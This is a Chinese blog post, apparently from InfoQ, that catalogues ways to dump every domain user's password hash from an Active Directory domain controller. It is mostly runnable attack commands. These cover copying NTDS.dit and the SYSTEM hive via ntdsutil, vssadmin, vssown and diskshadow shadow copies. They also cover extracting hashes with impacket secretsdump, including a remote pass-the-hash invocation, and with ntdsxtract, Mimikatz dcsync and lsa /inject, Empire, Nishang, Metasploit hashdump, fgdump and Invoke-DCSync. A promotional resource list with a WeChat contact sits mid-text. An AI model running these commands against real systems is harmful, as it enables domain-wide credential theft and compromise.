写点什么

域内用户 Hash 获取方式总结

  • 2022-12-05
    湖南
  • 本文字数:4214 字

    阅读完需:约 14 分钟

前言

在渗透测试的过程中,当我们已经是域管权限时,就可以实现提取所有域内用户的密码哈希以进行离线破解和分析,这是非常常见的一个操作,这些哈希值存储在域控制器(NTDS.DIT)中的数据库文件中,并带有一些其他信息,如用户名、散列值、组、GPP、OU 等于活动目录相关的信息,它和 SAM 文件一样都是被操作系统锁定的,因此无法直接复制到其他位置以提取信息。


NTDS.dit 文件位于 Windows 以下位置:


C:\Windows\NTDS\NTDS.dit


NTDS 提取

NTDSUTIL

NTDSUTIL 是一个命令行工具,它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和管理 Windows Active Directory 数据库,但是,渗透测试人员和 redteam 可以用它来拍摄现有 ntds.dit 文件的快照,该文件可以复制到新位置以进行离线分析和密码哈希的提取


ntdsutilactivate instance ntdsifmcreate full C:\ntdsutilquitquit



【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100 个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年 CTF 夺旗赛题解析


之后在 C:\ntdsutil 中将生成两个新文件夹:Active Directory 和 Registry:



NTDS.DIT 文件将保存在 Active Directory 中:



SAM 和 SYSTEM 文件将保存到 Registry 文件夹中:



之后可以使用 ntdsdump 进行离线提取 Hash:


ntdsdump.exe -f ntds.dit -s SYSTEM

参数说明:

ntdsdump.exe <-f ntds.dit> <-k HEX-SYS-KEY | -s system.hiv> [-o out.txt] [-h] [-t JOHN|LC] * -f ntds.dit路径 * -k 可选的十六进制格式的SYSKEY * -s 可选的 system.hiv 路径 * -h 导出历史密码记录 * -t 导出格式,LC 或 JOHN * -o 导出到指定文件中 *



之后在 CMd5 解密网站进行解密解密即可:


vssadmin

vssadmin 是 WIndows Server 2008 和 Win 7 提供的 VSS 管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统 Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序等,在内网渗透测试过程中,我们也可以使用 vssadminn 来提取 ntds.dit 文件,流程如下:


Step 1:在域控制器中打开命令环境,输入如下命令,创建一个 C 盘的影卷拷贝:


vssadmin create shadow /for=c:



Step 2:将 NTDS.dit 和 SYSTEM 文件从创建的影卷中复制出来


copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.ditcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\SYSTEM
复制代码



之后可以在 C 盘中看到成功复制 ntds.dit 文件:



Step 3:之后执行以下命令删除影卷信息:


vssadmin delete shadows /for=c: /quiet



Step 4:之后通过 impacket 来导出 hash 值


./secretsdump.py -system /root/vssadmin/SYSTEM -ntds /root/vssadmin/ntds.dit LOCAL
复制代码


vssown.vbs

与 vssadmin 程序类似,Tim Tomes 开发了 vssown,它是一个可视化的基本脚本,可以创建和删除卷影副本,从卸载的卷影副本运行任意可执行文件,以及启动和停止卷影复制服务。


Step 1:启动影卷拷贝服务


cscript vssown.vbs /start
复制代码



Step 2:创建一个 C 盘的影卷拷贝


cscript vssown.vbs /create c
复制代码



Step 3:列出当前影卷拷贝


cscript vssown.vbs /list
复制代码



Step 4:复制ntds.dit、SYSTEM、SAM文件


copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit C:\vssown\ntds.ditcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\system32\config\SYSTEM C:\vssown\SYSTEMcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\system32\config\SAM C:\vssown\SAM
复制代码



Step 5:查看拷贝的文件


dir c:\vssown\



Step 6:删除影卷拷贝


cscript vssown.vbs /delete {54ECD66A-570C-4489-956F-9B83E4C8B1B9}
复制代码



Step 7:之后使用 impacket 导出 Hash


./secretsdump.py -system /root/vssown/SYSTEM -ntds /root/vssown/ntds.dit LOCAL
复制代码


diskshadow

DiskShadow 是 Microsoft 签名的二进制文件,用于协助管理员执行与卷复制服务(VSS)相关的操作。最初 bohops 在他的博客中写到了这个二进制文件。这个二进制文件有两个交互式和脚本模式,因此可以使用一个脚本文件,它将包含自动执行 NTDS.DIT 提取过程所需的所有命令。脚本文件可以包含以下行,以便创建新的卷影副本,装入新驱动器,执行复制命令并删除卷影副本,在使用时需要注意一点,DiskShadow 二进制文件需要从 C\Windows\System32 路径执行,如果从另一个路径调用它,脚本将无法正确执行:


set context persistent nowritersadd volume c: alias someAliascreateexpose %someAlias% z:exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds.ditdelete shadows allreset
复制代码


在 cmd 下执行以下命令:


diskshadow.exe /s c:\diskshadow.txt
复制代码



之后查看 c 盘可以看到成功复制文件:



导出 ntds.dit 后,可以键 system.hive 转储,因为 system.hive 中存放着 ntds.dit 的秘钥,如果没有该密钥,将无法查看 ntds.dit 中的信息:


reg save hklm\system c:\system.hive
复制代码



之后使用 impacket 导出 hash


./secretsdump.py -system /root/diskshadow/system.hive -ntds /root/diskshadow/ntds.dit LOCAL


NDTS Hash

Impacket

我们可以使用 impacket 工具包中的 secretsdump 来解析 ntds.dit 文件并导出散列:


./secretsdump.py -system /root/system.hive -ntds /root/ntds.dit LOCAL



impacket 还可以直接通过用户名和散列值进行验证,从远程域控制器中读取 ntds.dit 并转储域散列值:


./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:41945356c1b2adde08c00d0e48515b7e -just-dc hacke.testlab/administrator@192.168.188.2


esedbexport

在这里我们需要通过安装 libesedb 从 ntds.dit 中导出 dataable 和 link_table,在终端执行以下命令下载 libesedb:


git clonecd libesedb/./synclibs.sh./autogen.sh
复制代码





之后执行以下命令安装依赖:


sudo apt install git autoconf automake autopoint libtool pkg-config
复制代码



之后执行以下命令对 libesedb 进行编译与安装:


./configuremakesudo make installsudo ldconfig
复制代码



安装完成之后会在系统的/usr/local/bin 目录下看的 esedbexport 程序,如下所示:


ls /usr/local/bin/ | grep esedbexport
复制代码



之后使用 esedbexport 进行恢复操作,执行以下命令来提取表信息,操作时间视 ntds.dit 文件的大小而定,如果提取成功会在同一目录下生成一个文件夹,这里我们只提取 dataable 和 link_table:


esedbexport -m tables /root/ntds.dit
复制代码



导出信息如下所示:



之后我们借助 ntdsxtract 来导出散列值,首先我们需要安装该工具:


git clone 
复制代码



之后进入文件夹执行以下命令进行安装:


python setup.py build && python setup.py installrunning build
复制代码



之后输入以下命令,将导出的 ntds.dit.export 文件夹和 SYSTEM 文件一并放入 ntdsxtract 文件夹并执行以下命令:


./dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt
复制代码



之后会将域内的所有用户名和散列值导出到 all_user.txt 中:



ntds.dit 包含域内的所有信息,可以通过分析 ntds.dit 导出域内的计算机信息以及其他信息,命令如下:


dscomputers.py ntds.dit.export/datatable.4 computer_output --csvoutfile all_computers.csv
复制代码



NTDSDumpex

NTDSDumpex.exe程序也可以用于导出散列值得操作,在使用时只需要将ntds.dit、SYSTEM、NTDSDumpex.exe放到同一目录下,之后执行以下命令即可(效果并不理想,时常出现下面的问题):


NTDSDumpex.exe -d ntds.dit -s system
复制代码



####第三方工具


下面介绍几种常见的域内用户 Hash 获取的方法与策略~

Mimikatz

项目介绍:mimikatz 用于从 Windows 操作系统内存中提取明文密码、散列、pin 码和 kerberos 票据,同时 mimikatz 还可以执行传递散列、传递票证或构建黄金票证。工具使用:


a、获取所有域内用户的账户信息


lsadump::dcsync /domain:hacke.testlab /all /csv
复制代码



b、通过使用/user 参数指定域用户名来获取特定用户的所有帐户信息,包括其密码哈希


lsadump::dcsync /domain:hacke.testlab /user:testuser
复制代码




c、直接在域控制器中执行 Mimikatz,通过 lsass.exe 进程 dump 哈希


privilege::debuglsadump::lsa /inject
复制代码


Empire

提取域内所有用户 hash 值:


usemodule credentials/mimikatz/dcsync_hashdump
复制代码



dump 特定帐户信息:


(Empire: 8GLZTYXR) > usemodule credentials/mimikatz/dcsync(Empire: powershell/credentials/mimikatz/dcsync) > set user Al1ex(Empire: powershell/credentials/mimikatz/dcsync) > execute
复制代码


Nishang

Nishang 是一个 PowerShell 框架,它让 redteam 和渗透测试人员能够对系统进行攻击性操作,Nishang 中的 VSS 脚本可以用于自动提取所需的文件:NTDS.DIT,SAM 和 SYSTEM,这些文件将被解压缩到当前工作目录或指定的任何其他文件夹中。


Import-Module .\Copy-VSS.ps1Copy-VSS //复制到当前目录Copy-VSS -DestinationDir C:\ShadowCopy //复制到指定目录
复制代码



之后通过 Mimikatz 来获取信息:


lsadump::sam /sam:sam.hive /system:system.hive
复制代码


Metasploit
run post/windows/gather/hashdump
复制代码



run post/windows/gather/smart_hashdump
复制代码



如果已经拿到域控制器的现有 Meterpreter 会话,则可以使用命令 hashdump,但是,此方法不被认为是安全的,因为可能会使域控崩掉


fgdump

fgdump 是一个比较老的可执行文件,可提取的 LanMan 和 NTLM 的密码哈希值,如果已获取本地管理员凭据,则可以在本地或远程执行。在执行期间,fgdump 将尝试禁用可能在系统上运行的防病毒软件,如果成功,则会将所有数据写入两个文件中,如果存在防病毒或端点解决方案,则不应该将 fgdump 用作 dump 密码哈希的方法以避免检测,因为大多数防病毒公司(包括 Microsoft 的 Windows Defender)都会对将它 kill 掉


fgdump.exe



之后可以通过检查.pwdump 文件的内容来 get 密码哈希值



PS:速度超级慢,慢的卡死,强烈不推荐~

Invoke-DCSync

Invoke–DCSync 是 Nick Landers 利用 PowerView 开发的 powershell 脚本,Invoke-ReflectivePEInjection 和 PowerKatz 的 DLL wrapper 调用 Mimikatz 的 DCSync 方法检索哈希值,直接执行该函数将生成以下输出:


Import-Module ./Invoke-DCSync.ps1Invoke-DCSync
复制代码



从上面可以看到结果将格式化为四个表:Domain,User,RID 和 Hash,当使用参数-PWDumpFormat执行Invoke-DCSync将以以下格式检索哈希:


user:id:lm:ntlm :::


文末小结

本篇文章主要介绍了域内用户 Hash 的获取方法,同样在内网渗透中很有用

用户头像

我是一名网络安全渗透师 2021-06-18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
域内用户Hash获取方式总结_黑客_网络安全学海_InfoQ写作社区